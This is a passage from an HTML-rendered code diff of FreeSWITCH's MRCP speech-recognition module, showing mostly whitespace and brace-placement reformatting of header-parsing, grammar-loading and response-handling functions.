-                if (recognition_timeout &gt;= 0) {
-                        recog_hdr-&gt;recognition_timeout = recognition_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid recognition timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT:{
+                        int recognition_timeout = atoi(val);
+                        if (recognition_timeout &gt;= 0) {
+                                recog_hdr-&gt;recognition_timeout = recognition_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid recognition timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx">         case RECOGNIZER_HEADER_START_INPUT_TIMERS:
</span><span class="cx">                 recog_hdr-&gt;start_input_timers = !strcasecmp(&quot;true&quot;, val);
</span><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_START_INPUT_TIMERS);
</span><span class="cx">                 break;
</span><del>-                case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT: {
-                int speech_complete_timeout = atoi(val);
-                if (speech_complete_timeout &gt;= 0) {
-                        recog_hdr-&gt;speech_complete_timeout = speech_complete_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid speech complete timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT:{
+                        int speech_complete_timeout = atoi(val);
+                        if (speech_complete_timeout &gt;= 0) {
+                                recog_hdr-&gt;speech_complete_timeout = speech_complete_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid speech complete timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT: {
-                int speech_incomplete_timeout = atoi(val);
-                if (speech_incomplete_timeout &gt;= 0) {
-                        recog_hdr-&gt;speech_incomplete_timeout = speech_incomplete_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid speech incomplete timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT:{
+                        int speech_incomplete_timeout = atoi(val);
+                        if (speech_incomplete_timeout &gt;= 0) {
+                                recog_hdr-&gt;speech_incomplete_timeout = speech_incomplete_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid speech incomplete timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name,
+                                                                  val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT: {
-                int dtmf_interdigit_timeout = atoi(val);
-                if (dtmf_interdigit_timeout &gt;= 0) {
-                        recog_hdr-&gt;dtmf_interdigit_timeout = dtmf_interdigit_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid dtmf interdigit timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT:{
+                        int dtmf_interdigit_timeout = atoi(val);
+                        if (dtmf_interdigit_timeout &gt;= 0) {
+                                recog_hdr-&gt;dtmf_interdigit_timeout = dtmf_interdigit_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid dtmf interdigit timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT: {
-                int dtmf_term_timeout = atoi(val);
-                if (dtmf_term_timeout &gt;= 0) {
-                        recog_hdr-&gt;dtmf_term_timeout = dtmf_term_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid dtmf term timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT:{
+                        int dtmf_term_timeout = atoi(val);
+                        if (dtmf_term_timeout &gt;= 0) {
+                                recog_hdr-&gt;dtmf_term_timeout = dtmf_term_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid dtmf term timeout, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx">         case RECOGNIZER_HEADER_DTMF_TERM_CHAR:
</span><span class="cx">                 if (strlen(val) == 1) {
</span><span class="cx">                         recog_hdr-&gt;dtmf_term_char = *val;
</span><span class="lines">@@ -2538,26 +2578,26 @@
</span><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_MODE);
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><del>-        case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION: {
-                int hotword_max_duration = atoi(val);
-                if (hotword_max_duration &gt;= 0) {
-                        recog_hdr-&gt;hotword_max_duration = hotword_max_duration;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MAX_DURATION);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid hotword max duration, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION:{
+                        int hotword_max_duration = atoi(val);
+                        if (hotword_max_duration &gt;= 0) {
+                                recog_hdr-&gt;hotword_max_duration = hotword_max_duration;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MAX_DURATION);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid hotword max duration, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION: {
-                int hotword_min_duration = atoi(val);
-                if (hotword_min_duration &gt;= 0) {
-                        recog_hdr-&gt;hotword_min_duration = hotword_min_duration;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MIN_DURATION);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid hotword min duration, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
</del><ins>+        case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION:{
+                        int hotword_min_duration = atoi(val);
+                        if (hotword_min_duration &gt;= 0) {
+                                recog_hdr-&gt;hotword_min_duration = hotword_min_duration;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MIN_DURATION);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;(%s) Ignoring invalid hotword min duration, \&quot;%s\&quot;\n&quot;, schannel-&gt;name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx">         case RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER:
</span><span class="cx">                 recog_hdr-&gt;clear_dtmf_buffer = !strcasecmp(&quot;true&quot;, val);
</span><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER);
</span><span class="lines">@@ -2578,25 +2618,25 @@
</span><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_MEDIA_TYPE);
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><del>-        /* Unsupported headers */
</del><ins>+                /* Unsupported headers */
</ins><span class="cx"> 
</span><del>-        /* MRCP server headers */
</del><ins>+                /* MRCP server headers */
</ins><span class="cx">         case RECOGNIZER_HEADER_WAVEFORM_URI:
</span><span class="cx">         case RECOGNIZER_HEADER_COMPLETION_CAUSE:
</span><span class="cx">         case RECOGNIZER_HEADER_FAILED_URI:
</span><span class="cx">         case RECOGNIZER_HEADER_FAILED_URI_CAUSE:
</span><span class="cx">         case RECOGNIZER_HEADER_INPUT_TYPE:
</span><span class="cx">         case RECOGNIZER_HEADER_COMPLETION_REASON:
</span><del>-        /* module handles this automatically */
</del><ins>+                /* module handles this automatically */
</ins><span class="cx">         case RECOGNIZER_HEADER_CANCEL_IF_QUEUE:
</span><del>-        /* GET-PARAMS method only */
</del><ins>+                /* GET-PARAMS method only */
</ins><span class="cx">         case RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK:
</span><span class="cx">         case RECOGNIZER_HEADER_DTMF_BUFFER_TIME:
</span><span class="cx"> 
</span><del>-        /* INTERPRET method only */
</del><ins>+                /* INTERPRET method only */
</ins><span class="cx">         case RECOGNIZER_HEADER_INTERPRET_TEXT:
</span><span class="cx"> 
</span><del>-        /* unknown */
</del><ins>+                /* unknown */
</ins><span class="cx">         case RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE:
</span><span class="cx"> 
</span><span class="cx">         default:
</span><span class="lines">@@ -2614,7 +2654,7 @@
</span><span class="cx"> {
</span><span class="cx">         recognizer_data_t *r;
</span><span class="cx">         switch_mutex_lock(schannel-&gt;mutex);
</span><del>-        r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+        r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">         r-&gt;timers_started = 1;
</span><span class="cx">         switch_mutex_unlock(schannel-&gt;mutex);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2641,24 +2681,24 @@
</span><span class="cx">         recognizer_data_t *r = NULL;
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;asr_handle: name = %s, codec = %s, rate = %d, grammar = %s, param = %s\n&quot;,
</span><del>-                ah-&gt;name, ah-&gt;codec, ah-&gt;rate, ah-&gt;grammar, ah-&gt;param);
</del><ins>+                                          ah-&gt;name, ah-&gt;codec, ah-&gt;rate, ah-&gt;grammar, ah-&gt;param);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;codec = %s, rate = %d, dest = %s\n&quot;, codec, rate, dest);
</span><span class="cx"> 
</span><span class="cx">         /* It would be nice if FreeSWITCH let us know which session owns this handle, but it doesn't.  So, lets
</span><del>-                make our own unique name */
</del><ins>+           make our own unique name */
</ins><span class="cx">         switch_snprintf(name, sizeof(name) - 1, &quot;ASR-%d&quot;, speech_channel_number);
</span><span class="cx">         name[sizeof(name) - 1] = '\0';
</span><span class="cx"> 
</span><del>-        if (speech_channel_create(&amp;schannel, name, SPEECH_CHANNEL_RECOGNIZER, &amp;globals.recog, (uint16_t)rate, ah-&gt;memory_pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (speech_channel_create(&amp;schannel, name, SPEECH_CHANNEL_RECOGNIZER, &amp;globals.recog, (uint16_t) rate, ah-&gt;memory_pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">         ah-&gt;private_info = schannel;
</span><span class="cx"> 
</span><del>-        r = (recognizer_data_t *)switch_core_alloc(ah-&gt;memory_pool, sizeof(recognizer_data_t));
</del><ins>+        r = (recognizer_data_t *) switch_core_alloc(ah-&gt;memory_pool, sizeof(recognizer_data_t));
</ins><span class="cx">         schannel-&gt;data = r;
</span><span class="cx">         memset(r, 0, sizeof(recognizer_data_t));
</span><del>-        switch_core_hash_init(&amp;r-&gt;grammars, ah-&gt;memory_pool); 
</del><ins>+        switch_core_hash_init(&amp;r-&gt;grammars, ah-&gt;memory_pool);
</ins><span class="cx"> 
</span><span class="cx">         /* try to open an MRCP channel */
</span><span class="cx">         if (!(profile_name = dest)) {
</span><span class="lines">@@ -2667,7 +2707,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        profile = (profile_t *)switch_core_hash_find(globals.profiles, profile_name);
</del><ins>+        profile = (profile_t *) switch_core_hash_find(globals.profiles, profile_name);
</ins><span class="cx"> 
</span><span class="cx">         if (!profile) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) Can't find profile, %s\n&quot;, name, profile_name);
</span><span class="lines">@@ -2676,7 +2716,7 @@
</span><span class="cx">         }
</span><span class="cx">         status = speech_channel_open(schannel, profile);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -2692,7 +2732,7 @@
</span><span class="cx"> static switch_status_t recog_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *name)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         const char *grammar_data = NULL;
</span><span class="cx">         char *grammar_file_data = NULL;
</span><span class="cx">         switch_file_t *grammar_file = NULL;
</span><span class="lines">@@ -2705,7 +2745,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* stop recognition */
</span><span class="cx">         if (speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2713,7 +2753,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* figure out what type of grammar this is */
</span><del>-        if (text_starts_with(grammar, HTTP_ID) || text_starts_with(grammar, FILE_ID) || text_starts_with(grammar, SESSION_ID) || text_starts_with(grammar, BUILTIN_ID)) {
</del><ins>+        if (text_starts_with(grammar, HTTP_ID) || text_starts_with(grammar, FILE_ID) || text_starts_with(grammar, SESSION_ID)
+                || text_starts_with(grammar, BUILTIN_ID)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) Grammar is URI\n&quot;, schannel-&gt;name);
</span><span class="cx">                 type = GRAMMAR_TYPE_URI;
</span><span class="cx">                 grammar_data = grammar;
</span><span class="lines">@@ -2752,7 +2793,7 @@
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                grammar_file_data = (char *)switch_core_alloc(schannel-&gt;memory_pool, grammar_file_size + 1);
</del><ins>+                grammar_file_data = (char *) switch_core_alloc(schannel-&gt;memory_pool, grammar_file_size + 1);
</ins><span class="cx">                 to_read = grammar_file_size;
</span><span class="cx">                 if (switch_file_read(grammar_file, grammar_file_data, &amp;to_read) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) Grammar file read error: %s\n&quot;, schannel-&gt;name, filename);
</span><span class="lines">@@ -2799,7 +2840,7 @@
</span><span class="cx"> 
</span><span class="cx">         status = recog_channel_start(schannel, name);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(filename);
</span><span class="cx">         if (grammar_file) {
</span><span class="lines">@@ -2818,9 +2859,8 @@
</span><span class="cx"> static switch_status_t recog_asr_unload_grammar(switch_asr_handle_t *ah, const char *name)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
-        if (zstr(name) || speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS ||
-                recog_channel_unload_grammar(schannel, name) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
+        if (zstr(name) || speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS || recog_channel_unload_grammar(schannel, name) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         return status;
</span><span class="lines">@@ -2835,8 +2875,8 @@
</span><span class="cx">  */
</span><span class="cx"> static switch_status_t recog_asr_close(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
-        recognizer_data_t *r = (recognizer_data_t *)schannel-&gt;data;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
+        recognizer_data_t *r = (recognizer_data_t *) schannel-&gt;data;
</ins><span class="cx">         speech_channel_stop(schannel);
</span><span class="cx">         speech_channel_destroy(schannel);
</span><span class="cx">         switch_core_hash_destroy(&amp;r-&gt;grammars);
</span><span class="lines">@@ -2856,7 +2896,7 @@
</span><span class="cx"> static switch_status_t recog_asr_feed(switch_asr_handle_t *ah, void *data, unsigned int len, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t slen = len;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         return speech_channel_write(schannel, data, &amp;slen);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2866,11 +2906,11 @@
</span><span class="cx">  * @param ah the FreeSWITCH speech recognition handle
</span><span class="cx">  * @param name name of the grammar to use
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS if successful
</span><del>- */ 
</del><ins>+ */
</ins><span class="cx"> static switch_status_t recog_asr_start(switch_asr_handle_t *ah, const char *name)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         status = recog_channel_start(schannel, name);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -2883,7 +2923,7 @@
</span><span class="cx">  */
</span><span class="cx"> static switch_status_t recog_asr_resume(switch_asr_handle_t *ah)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         return recog_channel_start(schannel, NULL);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2894,7 +2934,7 @@
</span><span class="cx">  */
</span><span class="cx"> static switch_status_t recog_asr_pause(switch_asr_handle_t *ah)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         return speech_channel_stop(schannel);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2908,7 +2948,7 @@
</span><span class="cx">  */
</span><span class="cx"> static switch_status_t recog_asr_check_results(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         return recog_channel_check_results(schannel);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2921,7 +2961,7 @@
</span><span class="cx">  */
</span><span class="cx"> static switch_status_t recog_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         return recog_channel_get_results(schannel, xmlstr);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2932,7 +2972,7 @@
</span><span class="cx">  */
</span><span class="cx"> static switch_status_t recog_asr_start_input_timers(switch_asr_handle_t *ah)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         return recog_channel_start_input_timers(schannel);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2946,7 +2986,7 @@
</span><span class="cx">  */
</span><span class="cx"> static void recog_asr_text_param(switch_asr_handle_t *ah, char *param, const char *val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         speech_channel_set_param(schannel, param, val);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2960,7 +3000,7 @@
</span><span class="cx">  */
</span><span class="cx"> static void recog_asr_numeric_param(switch_asr_handle_t *ah, char *param, int val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         char *val_str = switch_mprintf(&quot;%d&quot;, val);
</span><span class="cx">         speech_channel_set_param(schannel, param, val_str);
</span><span class="cx">         switch_safe_free(val_str);
</span><span class="lines">@@ -2976,7 +3016,7 @@
</span><span class="cx">  */
</span><span class="cx"> static void recog_asr_float_param(switch_asr_handle_t *ah, char *param, double val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah-&gt;private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah-&gt;private_info;
</ins><span class="cx">         char *val_str = switch_mprintf(&quot;%f&quot;, val);
</span><span class="cx">         speech_channel_set_param(schannel, param, val_str);
</span><span class="cx">         switch_safe_free(val_str);
</span><span class="lines">@@ -2995,8 +3035,8 @@
</span><span class="cx">  */
</span><span class="cx"> static apt_bool_t recog_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
-        mrcp_recog_header_t *recog_hdr = (mrcp_recog_header_t *)mrcp_resource_header_get(message);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
+        mrcp_recog_header_t *recog_hdr = (mrcp_recog_header_t *) mrcp_resource_header_get(message);
</ins><span class="cx">         if (message-&gt;start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
</span><span class="cx">                 /* received MRCP response */
</span><span class="cx">                 if (message-&gt;start_line.method_id == RECOGNIZER_RECOGNIZE) {
</span><span class="lines">@@ -3008,9 +3048,11 @@
</span><span class="cx">                         } else if (message-&gt;start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
</span><span class="cx">                                 /* RECOGNIZE failed to start */
</span><span class="cx">                                 if (recog_hdr-&gt;completion_cause == RECOGNIZER_COMPLETION_CAUSE_UNKNOWN) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) RECOGNIZE failed: status = %d\n&quot;, schannel-&gt;name,         message-&gt;start_line.status_code);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) RECOGNIZE failed: status = %d\n&quot;, schannel-&gt;name,
+                                                                          message-&gt;start_line.status_code);
</ins><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) RECOGNIZE failed: status = %d, completion-cause = %03d\n&quot;, schannel-&gt;name, message-&gt;start_line.status_code, recog_hdr-&gt;completion_cause);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) RECOGNIZE failed: status = %d, completion-cause = %03d\n&quot;,
+                                                                          schannel-&gt;name, message-&gt;start_line.status_code, recog_hdr-&gt;completion_cause);
</ins><span class="cx">                                 }
</span><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                         } else if (message-&gt;start_line.request_state == MRCP_REQUEST_STATE_PENDING) {
</span><span class="lines">@@ -3018,7 +3060,8 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) RECOGNIZE PENDING\n&quot;, schannel-&gt;name);
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* received unexpected request_state */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected RECOGNIZE request state: %d\n&quot;, schannel-&gt;name, message-&gt;start_line.request_state);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected RECOGNIZE request state: %d\n&quot;, schannel-&gt;name,
+                                                                  message-&gt;start_line.request_state);
</ins><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                         }
</span><span class="cx">                 } else if (message-&gt;start_line.method_id == RECOGNIZER_STOP) {
</span><span class="lines">@@ -3029,9 +3072,10 @@
</span><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* received unexpected request state */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected STOP request state: %d\n&quot;, schannel-&gt;name, message-&gt;start_line.request_state);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) unexpected STOP request state: %d\n&quot;, schannel-&gt;name,
+                                                                  message-&gt;start_line.request_state);
</ins><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><del>-                                }
</del><ins>+                        }
</ins><span class="cx">                 } else if (message-&gt;start_line.method_id == RECOGNIZER_START_INPUT_TIMERS) {
</span><span class="cx">                         /* received response to START-INPUT-TIMERS request */
</span><span class="cx">                         if (message-&gt;start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
</span><span class="lines">@@ -3039,7 +3083,8 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) timers started\n&quot;, schannel-&gt;name);
</span><span class="cx">                                         recog_channel_set_timers_started(schannel);
</span><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) timers failed to start, status code = %d\n&quot;, schannel-&gt;name, message-&gt;start_line.status_code);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) timers failed to start, status code = %d\n&quot;, schannel-&gt;name,
+                                                                          message-&gt;start_line.status_code);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 } else if (message-&gt;start_line.method_id == RECOGNIZER_DEFINE_GRAMMAR) {
</span><span class="lines">@@ -3049,26 +3094,30 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) grammar loaded\n&quot;, schannel-&gt;name);
</span><span class="cx">                                         speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                                 } else {
